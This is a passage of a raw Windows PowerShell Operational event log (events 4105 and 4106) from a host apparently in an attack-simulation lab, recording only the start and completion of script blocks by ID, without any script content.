Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035820
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035819
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035814
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035813
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035812
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035811
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035810
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035809
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035808
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035807
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035806
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035805
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035804
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035803
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035801
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035800
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035799
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035798
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035797
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035796
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035795
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035794
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035793
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035792
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035791
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035790
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035789
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035788
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035787
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035786
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035785
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035783
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035777
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
